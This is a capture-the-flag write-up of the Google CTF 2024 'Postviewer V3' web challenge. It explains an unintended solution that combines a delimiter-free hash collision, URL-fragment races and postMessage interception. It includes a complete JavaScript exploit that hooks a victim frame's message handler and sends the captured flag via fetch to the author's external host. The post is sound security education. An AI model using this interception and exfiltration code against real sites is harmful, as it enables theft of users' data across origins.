Postviewer V3 - Racing All The Way To Glory
This post is a writeup for a challenge
that was part of this year's Google CTF
,
in which I will describe how I solved the
Postviewer V3
web challenge by terjanq. This challenge had an unintended solution that was
used by several teams and
was described in the official writeup, but I feel that my solution had an extra twist to it so I decided to follow
through with this post to both describe the process and also share that twist I mentioned.
The intended solution also had a very nice twist to it, requiring uploading a file to storage.googleapis.com
or better yet - finding an XSS vulnerability in a file already stored there. You can read all about it in the
official challenge write up.
I will attempt to give a nice background and information about the challenge, but I will not go into the details of
the intended solution. If you didn't try to solve this challenge yourself I suggest reading the official writeup
first, which will give you a
better understanding of the challenge and the solution.
If you do have a good understanding of the challenge and you're here for the twist - make sure to skip to the
exploitation section, and specifically to the the 2nd race.
Postviewer challenges have been around for a while now, and they tend to be pretty interesting and fun to solve.
This is the third year in a row that Postviewer finds its way into the Google CTF competition after first appearing
in the 2022 edition.
These challenges look pretty much the same but have a very different solution each year, usually around sandboxing
and some iframe magic.
This post will get a little bit technical and I won't be able to explain every term or concept that I use, so if
you're not familiar with some of the terms used here I suggest looking them up, most of the terms are pretty
common and well documented.
The website is pretty simple, you get to upload a file which will be stored locally (in an IndexedDB) and then
displayed in an iframe. The way that the file is being rendered is a little bit tricky though, and contains
several(!) iframes, one of which is even sandboxed.
We get the source code of the challenge (which is always very handy when testing) and it is clear that the goal
is to somehow read a file that was upload locally on an admin's session. We can get the admin to browse to a page of
our choosing but we cannot add files to they're storage.
async function visitUrl(_ctx, url, sendToPlayer) {
const context = await _ctx;
const page = await context.newPage();
await page.goto(PAGE_URL, {
timeout: 2000,
});
const pageStr = await page.evaluate(() => document.documentElement.innerHTML);
if (!pageStr.includes("Postviewer v3")) {
const msg = "Error: Failed to load challenge page. Please contact admins.";
console.error(`Page:${pageStr}`);
sendToPlayer(msg);
throw new Error(msg);
}
sendToPlayer("Adding admin's flag.");
await page.evaluate(
(flag, randName) => {
const db = new DB();
db.clear();
const blob = new Blob([flag], { type: "text/plain" });
db.addFile(new File([blob], `flag-${randName}.txt`, { type: blob.type }));
},
FLAG,
randString()
);
await page.reload();
await sleep(1000);
const bodyHTML = await page.evaluate(
() => document.documentElement.innerHTML
);
if (!bodyHTML.includes("file-") && bodyHTML.includes(".txt")) {
const msg = "Error: Something went wrong while adding the flag.";
console.error(`Page:${bodyHTML}`);
throw new Error(msg);
}
sendToPlayer("Successfully added the flag.");
await page.close();
sendToPlayer(`Visiting ${url}`);
const playerPage = await context.newPage();
await playerPage.goto(url, {
timeout: 2000,
});
}
The admin's visit logic is pretty simple, every session starts with adding the flag to the admin's storage and then
visiting the URL that was provided by the player.
const processHash = async () => {
safeFrameModal.hide();
if (location.hash.length <= 1) return;
const hash = location.hash.slice(1);
if (hash.length < 5) {
const id = parseInt(hash);
location.hash = filesList.querySelectorAll('a')[id].id;
return;
}
const fileDiv = document.getElementById(hash);
if (fileDiv === null || !fileDiv.dataset.name) return;
previewIframeDiv.textContent = '';
await sleep(0);
previewFile(db.getFile(fileDiv.dataset.name), previewIframeDiv);
/* If modal is not shown remove hash */
setTimeout(() => {
if (!previewModalDiv.classList.contains('show')) {
location.hash = '';
}
}, 2000);
}
window.addEventListener('hashchange', processHash, true);
window.addEventListener('load', async () => {
const files = await db.getFiles();
files.sort((a, b) => a.date - b.date);
for (let fileInfo of files) {
await appendFileInfo(fileInfo);
}
processHash();
})
In the snippet above you can see the main logic that is implemented on the main challenge page. Looking at the
"load" event listener you can see that the page is loading all the files that are stored in the IndexedDB and
displaying them in the page. right after that the processHash
function is called which is responsible
for displaying the file that is stored in the IndexedDB based on the hash in the URL.
An interesting thing to note is that the processHash
function has two different behaviors based on the
length of the hash in the URL. If the hash is less than 5 characters long it will treat it as an index of a file
that is displayed in the list of files, otherwise it will try to display the file that is stored in the IndexedDB
with the same hash as the one in the URL.
To present the file, the previewFile
function is called with the file's content and the iframe that
will display it (which is a simple, empty iframe).
async function previewFile(filePromise, container) {
const shimOrigin = location.origin;
const { safeFrame, safeFrameOrigin } = await safeFrameRender(
evaluatorHtml,
"text/html; charset=utf-8",
"postviewer",
shimOrigin,
container
);
const onReady = async function (e) {
if (e.origin !== safeFrameOrigin || e.data !== "loader ready") return;
const file = await filePromise;
const body = await file.arrayBuffer();
let sandbox;
if (file.type !== "application/pdf") {
sandbox = "allow-scripts";
}
safeFrame.contentWindow.postMessage(
{ eval: iframeInserterHtml, body, type: file.type, sandbox },
safeFrameOrigin,
[body]
);
window.removeEventListener("message", onReady);
};
window.addEventListener("message", onReady);
}
async function safeFrameRender(body, mimeType, product, shimOrigin, container) {
const url = new URL(shimOrigin);
const hash = await calculateHash(body, product, window.origin, location.href);
url.host = `sbx-${hash}.${url.host}`;
url.pathname = product + "/shim.html";
url.searchParams.set("o", window.origin);
var iframe = document.createElement("iframe");
iframe.src = url;
container.appendChild(iframe);
iframe.addEventListener(
"load",
() => {
iframe.contentWindow?.postMessage(
{ body, mimeType, salt: location.href },
url.origin
);
},
{ once: true }
);
return { safeFrame: iframe, safeFrameOrigin: url.origin };
}
Few interesting things to note here - first of all, the previewFile
calls the
safeFrameRender
function with the evaluatorHtml
as the body, which is not the content of
the file we're about to preview. Instead, the content of the file will be passed to the
iframeInserterHtml
as a parameter in a postMessage
call.
Another important step here is that the safeFrameRender
function creates an iframe with a
pretty unique domain that is derived from the hash of the content that is passed to it. The content of the iframe
is shim.html
which is pretty complex on it's own.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Sandbox iframe</title>
</head>
<body>
<script>
const HASH_REGEXP = /^sbx-([a-z0-9]{50})[.]/;
const PRODUCT_REGEXP = /[/]([a-z0-9_-]*)[/]shim.html/;
let FILE_HASH, PRODUCT
function _throw(err) {
document.body.innerText = err;
throw Error(err);
}
try {
FILE_HASH = HASH_REGEXP.exec(location.host)[1];
} catch (e) {
_throw("Incorrect hash");
}
try {
PRODUCT = PRODUCT_REGEXP.exec(location.pathname)[1];
} catch (e) {
_throw("Incorrect product");
}
const TRUSTED_ORIGIN = new URL(location.href).searchParams.get('o');
if (!/^https?:\/\//.test(TRUSTED_ORIGIN)) {
_throw("Untrusted Origin");
}
function arrayToBase36(arr) {
return arr
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
.toString(36);
}
async function calculateHash(...strings) {
const encoder = new TextEncoder();
const string = strings.join('');
const hash = await crypto.subtle.digest('SHA-256', encoder.encode(string));
return arrayToBase36(new Uint8Array(hash)).padStart(50, '0').slice(0, 50);
}
window.onmessage = async (e) => {
if (e.origin !== TRUSTED_ORIGIN) {
_throw("Wrong origin");
}
if (e.data.body === undefined || !e.data.mimeType) {
_throw("No content to render");
};
const { body, salt, mimeType } = e.data;
[body, salt, mimeType, PRODUCT, TRUSTED_ORIGIN].forEach(e => {
if (typeof e !== 'string') {
_throw(`Expected '${e}' to be a string.`);
}
});
const hash = await calculateHash(body, PRODUCT, TRUSTED_ORIGIN, salt);
if (hash !== FILE_HASH) {
_throw(`Expected hash: ${hash}`);
}
const blob = new Blob([body], { type: mimeType });
window.onmessage = null;
e.source.postMessage('blob loaded', e.origin);
location.replace(URL.createObjectURL(blob));
};
</script>
</body>
</html>
shim.html
is a pretty straightforward page that expects a message (postMessage) with a body, mimeType,
and a salt. It will then calculate a hash on those, along with the PRODUCT
and
TRUSTED_ORIGIN
values.
If the hash matches the hash in location.host
- it will render the body that was sent to it (by using
the blob URL
API).
const evaluatorHtml = `
<html>
<head>
<meta charset="utf-8">
<title>Evaluator</title>
<script>
onmessage = e => {
if (e.source !== parent) {
throw /not parent/;
};
if (e.data.eval) {
eval(e.data.eval);
}
}
onload = () => {
parent.postMessage('loader ready', '*');
}
</script>
<style>
body{
padding: 0px;
margin: 0px;
}
iframe{
width: 100vw;
height: 100vh;
border: 0;
}
.spinner {
background: url(https://storage.googleapis.com/gctf-postviewer/spinner.svg) center no-repeat;
}
.spinner iframe{
opacity: 0.2
}
</style>
</head>
<body>
<div id="container" class="spinner"></div>
</body>
</html>
`;
const iframeInserterHtml = `
const container = document.querySelector("#container");
container.textContent = '';
const iframe = document.createElement('iframe');
iframe.src = URL.createObjectURL(new Blob([e.data.body], {type: e.data.type}));
if(e.data.sandbox) {
iframe.sandbox = e.data.sandbox;
}
container.appendChild(iframe);
setTimeout(()=>{
container.classList.remove('spinner');
}, 5000);
iframe.onload = () => {
setTimeout(()=>{
container.classList.remove('spinner');
}, 500);
};
`;
After looking at the code, few things become pretty clear - there are tons of postMessages
being sent between the frames, which is always an interesting thing to look at when trying to find an XSS in
websites.
evaluatorHtml
receives payload through the postMessage
API and then
evaluates it. It will only accept messages from it's parent frame and will throw an error if the source of the
message is different.
iframeInserterHtml
creates an iframe element and sets it's source to a blob URL that is created
from the content of the message that was sent to it. That iframe will also have a sandbox
attribute that will be set if requested in the message.
When choosing to view a file - the location.href
of the website will be changed so that it will contain
a
fragment
with the hash of the file's name (for example: postviewer/#file-[hash]
).
A modal will be opened with an iframe inside of it which will be under a pretty uinque domain that is a
hash of several parameters.
The pages that are being rendered in the iframes are pretty complex and have several iframes inside of
them, some of which are sandboxed. The content of the file that is being displayed is sent to the iframe
through postMessage
API calls.
When approaching a challenge, it is important to identify the parts that are crucial for the solution and then
go backwards from there. In this case I'd say that the important conclusions I could spot were:
- The flag is rendered inside an iframe with a different domain than the main page
- There is no obvious way that we could add files to the admin's storage
- There are a lot of suspicious postMessages
and evals
calls
postMessages
are known to be a common source of XSS vulnerabilities, and are usually a good place
to start looking for them. The MDN documentation does a pretty good job of explaining how to properly
verify the origin of the message and the data that is being sent, but it is still a common source of
vulnerabilities.
After inspecting what happens in the shim.html
frame, it became pretty clear that it will gladly
render any content that we send to it, as long as the origin of the message is the same as the one that is
passed in the URL parameter (?o=[ORIGIN]
), and that the hash in location.host
matches
the one that is calculated inside the page.
If we'll send the admin to a page we control, embed an iframe of shim.html
in it and also somehow
bypass these validations - we have a foothold and an XSS in a frame that shares the same ancestor origin as the
one the frame that will render the flag if the admin would visit the website's main page.
Using the "o
"" URL parameter makes it pretty easy to bypass the origin validation.
By sending the admin to a page we control - we can make sure it renders an iframe of shim.html
with
a host that we control. To bypass the hash validation inside shim.html
we can calculate the hash
based on the parameters that will be passed to it and then set the location.host
to the right value
(every domain is valid and will be accepted by the backend).
On it's own, that it is not really helpful (especially after setting the
window's domain was deprecated in recent
chrome versions). The only way that this could be useful is if we can get the actual frame that
displays the flag to be rendered with the same domain as the one we control (in which case we could potentially
access it).
If we will manage to make the admin's browser open both the page that we control as well as the challenge's main
page, and also have it render the flag inside of it in a frame that share the same origin as a frame we control
- we could potentially access that frame in the main page and read the flag.
As you can see in the snippet of the safeFrameRender
attached above, the host of the iframe that
will be rendered with the flag is derived from several components: The content of the
evaluatorHtml
, the PRODUCT
value, the origin of the window and the
location.href
which should contain the entire URL of the page, including the fragment with the
hash of the file we're about to render.
The location.href
is the actual tricky part as we cannot really guess the hash of the flag file's
name (it is randomly generated). The thing with fragments is that they are not really triggering requests to the
server, but merely used as a way to navigate within the page.
This means that, theoretically, if the fragment in the window location would change it will not interfer with
the actual
flow of the page
, and the domain calculated for the iframe that renders shim.html
will be
affected by the fragment that is currently set, this is a very important step towards making sure we manage to
control a frame with the same origin as the one the flag will be rendered in.
Let's have a second look at the calculateHash
function:
async function calculateHash(...strings) {
const encoder = new TextEncoder();
const string = strings.join("");
const hash = await crypto.subtle.digest("SHA-256", encoder.encode(string));
return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50);
}
Can you spot any problem here? Well, by concatenating the strings without delimiters, you open yourself up to
the possibility of a hash collisions by carefully crafting the content of the user-controlled parameters.
As we saw earlier, when safeFrameRender
is called, it uses the current location.href
present at the moment the call to calculateHash
is executed. If we could change the fragment of the
URL in that frame just at the right time we could influence the input for that call. In this case, the
structure of value that will be hashed and used as the host of the frame rendering the flag will be the
following:
evaluatorHtml + "postviewer" + "https://postviewer3-web.2024.ctfcompetition.com" + "https://postviewer3-web.2024.ctfcompetition.com/#" + MANIPULATED_FRAGMENT
The hash that is calculated inside the shim.html
is calculated in the following way:
const hash = await calculateHash(body, PRODUCT, TRUSTED_ORIGIN, salt);
On the main page flow, we figured out that we could only partially control the location.href
(used as
the salt). This means that all the other, uncontrollable parts used while hashing will have to also be present in
any frame that we render in order for it to share the same origin. These will be evaluatorHtml
(body),
postviewer
(PRODUCT), and the legitimate window.origin
.
This could potentially limit the things that we could do inside the frame we will render as we can only set it's
body to be equal to the evaluatorHtml
, but, as we saw earlier, evaluatorHtml
evaluates the
content of a message it receives if it was sent by it's parent. This behaviour practically allows us to do
everything we need inside that frame.
When we render the frame in the page we control we actually do control the body, the product and yes, even
the salt. body
and salt
are passed through the postMessage
API,
PRODUCT
is drived from the URL and the TRUSTED_ORIGIN
is passed as a url parameter.
Another contraint we inferred previously is that we have to make sure the the TURSTED_ORIGIN
is the
origin that we control, so that the frame will accept our messages.
Now let's see if we can come up with something that will work for us...
body + product + trusted_origin + salt = evaluatorHtml + "postviewer" + window.origin + location.href
// Which is basically
body + product + "https://eyald.com" + salt = evaluatorHtml + "postviewer" + "https://postviewer3-web.2024.ctfcompetition.com" + "https://postviewer3-web.2024.ctfcompetition.com/#" + MANIPULATED_FRAGMENT
We could make the first part equal by setting body
to:
evaluatorHtml + "postviewer" + "https://postviewer3-web.2024.ctfcompetition.com" + "https://postviewer3-web.2024.ctfcompetition.com/#"
Then if we could control and set MANIPULATED_LOCATION_HREF
to be equal to
product + "https://eyald.com"
in the main page's frame, we'd be golden!
So the final hashed values will be:
// In the main page
let product = "postviewer";
let origin = "https://postviewer3-web.2024.ctfcompetition.com";
let MANIPULATED_FRAGMENT = product + "https://eyald.com";
let href = origin + "/#" + MANIPULATED_FRAGMENT;
let mainPageIframeValue = evaluatorHtml + product + origin + href
// Our crafted payload
let body = evaluatorHtml + product + origin + origin + "/#";
let trusted_origin = "https://eyald.com";
let salt = "";
let maliciousIframeValue = body + product + trusted_origin + salt;
maliciousIframeValue == mainPageIframeValue // true
This is the first unintended step in the solution, we weren't supposed to be able to control the
frame from an arbitrary origin.
Well well, we have a plan! We came up with a way to embed a frame that will share the same origin as the one
that will render the flag, and we also have a way to control the content of that frame. The flag will be rendered
inside another (sandboxed) iframe with a blob://
url.
To actually have the two pages render in the admin's browser while also allowing our controlled frame to
access the frame in the main page - we would have to open the two pages "side by side". There are many possible ways
to achieve this, but the one that was most convenient for me was to open another tab with the page that we control
and use the window.top.opener
to access the second tab from outside and inside the frame that we
control.
This is the part where my solution takes a pretty interesting turn. In this situation we're controlling a blob://
frame, and we have the blob://
frame on the main page that shared the same origin.
The frame on the main page created a (sandboxed) blob://
frame inside fo it that contained the flag.
When playing with the console and accesing that sandboxed frame I noticed that the content of the frame appeared
empty when accessing through javascript (for example, accessing
window.top.opener.frames[0].container.children[0].innerHTML
returned an empty string). I figured it was
something related to it being sandboxed but didn't really tested it further. The way the blob://
urls
work is that they are valid locally until either revokeObjectUrl
is called, or the document that created it
unloads. At this point, we obviously have the document that created it still open, so we could simply
fetch
it from
frame that we control:
await (await fetch(window.top.opener.frames[0].container.children[0].src)).text()
I completely missed that solution and was immediately struck with a different idea that I had to try.
To be honest here, when first approaching the challenge and trying to map the ways I could potentially retrieve the flag
I pretty much fixated on an approach that would see me registering a callback on the frame that handles the postMessage
API
call with the flag - right before it is rendered to a sandboxed iframe. After successfully controlling a frame
with an origin as the one on the main page - my mind was already set on attempting the second
unintended step in the solution.
A sketch of the propsed solution to intercept the flag
This is a great lesson for me, I fixated on a solution that I thought would work and didn't really consider
other options as I progressed. In general, and in CTF challenges specifically I find it important to
always keep an open mind and consider other options as you learn more about the problem you're trying to solve.
So, to win the second race, as we would have to register the callback before the message is sent.
This was not an easy task but eventually I managed to get it to work. The exploitation was a little bit
flakey and did not work every time, but after some tweaking I managed to get it to be much more stable.
One of the things that made it more stable was to spam the main page with messages that probably made the
page slower and allowed me to register the callback before the message was sent.
I assume that playing a little bit more with the timeout values for the steps (altering the href
, sending the
messages, etc...) would also work but I managed to make it stable quickly by using this spamming technique.
Finally, the solution! Putting all of this together inside a single javascript
payload
and making sure to refer the admin to a page that embeds it:
// Copied the functions from the challenge
function arrayToBase36(arr) {
return arr
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
.toString(36);
}
async function calculateHash(...strings) {
const encoder = new TextEncoder();
const string = strings.join("");
const hash = await crypto.subtle.digest("SHA-256", encoder.encode(string));
return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50);
}
SITE = "https://eyald.com";
ORIGIN = 'https://postviewer3-web.2024.ctfcompetition.com';
// The original evaluatorHtml
const evaluatorHtml = `
<html>
<head>
<meta charset="utf-8">
<title>Evaluator</title>
<script>
onmessage = e => {
if(e.source !== parent) {
throw /not parent/;
};
if(e.data.eval){
eval(e.data.eval);
}
}
onload = () => {
parent.postMessage('loader ready','*');
}
</script>
<style>
body{
padding: 0px;
margin: 0px;
}
iframe{
width: 100vw;
height: 100vh;
border: 0;
}
.spinner {
background: url(https://storage.googleapis.com/gctf-postviewer/spinner.svg) center no-repeat;
}
.spinner iframe{
opacity: 0.2
}
</style>
</head>
<body>
<div id="container" class="spinner"></div>
</body>
</html>
` + "postviewer" + ORIGIN + ORIGIN + "/#";
async function exploit() {
let hash = await calculateHash(evaluatorHtml, "postviewer", SITE);
let i = document.createElement("iframe");
i.src = `${(new URL(ORIGIN)).protocol}//sbx-${hash}.${(new URL(ORIGIN)).host}/postviewer/shim.html?o=${SITE}`;
document.body.replaceChildren(i);
i.addEventListener("load", () => {
let msg = {
body: evaluatorHtml,
mimeType: "text/html; charset=utf-8",
salt: ""
}
i.contentWindow.postMessage(msg, "*");
window.opener.location = ORIGIN + "/#1";
// Let the main page load first
setTimeout(() => {
window.opener.location = ORIGIN + "/#0";
// Spam the window with messages
for (var i = 0; i < 10000; i++) {
window.opener.postMessage('blob loaded', "*");
}
// Render the flag in the main page
setTimeout(() => {
window.opener.location = `${ORIGIN}/#`;
}, 100);
// We use a hash with length < 0 that will be treated as an index of a file in the list
// The first file in the list is the flag
setTimeout(() => {
window.opener.location = `${ORIGIN}/#0`;
}, 100);
// Win the first race hopefully
setTimeout(() => {
window.opener.location = `${ORIGIN}/#postviewer${SITE}`;
}, 150);
// Attempt to win the second race, loop and check if the main page's frame was rendered and then
// try to register a message handler on it's window. If we succeeded that it means we won the
// first race.
setInterval(() => {
let iframe = document.body.querySelector("iframe");
iframe.contentWindow.postMessage({eval: `
try {
if (window.top.opener.frames[0].document) {
window.top.opener.frames[0].onmessage = (e) => {
// Try to intercept and report back every message we get from the main page to it's frame
try {
var enc = new TextDecoder("utf-8");
let x = enc.decode(e.data.body);
fetch("${SITE}/" + btoa(x), {mode: "no-cors"});
} catch {
fetch("${SITE}/" + btoa(e.data.body), {mode: "no-cors"});
}
}
}
} catch { }
`}, "*")
}, 10);
}, 500)
})
}
// If this is the first page, open the new window and start the exploit there
if (window.location.href.includes("phase-two")) {
exploit();
} else {
window.open("#phase-two");
}
Ciao 👋🏼, Eyal
Tags:
ctf
google
web
xss
race
postviewer
Found an error in the post? Please contact me so I could address it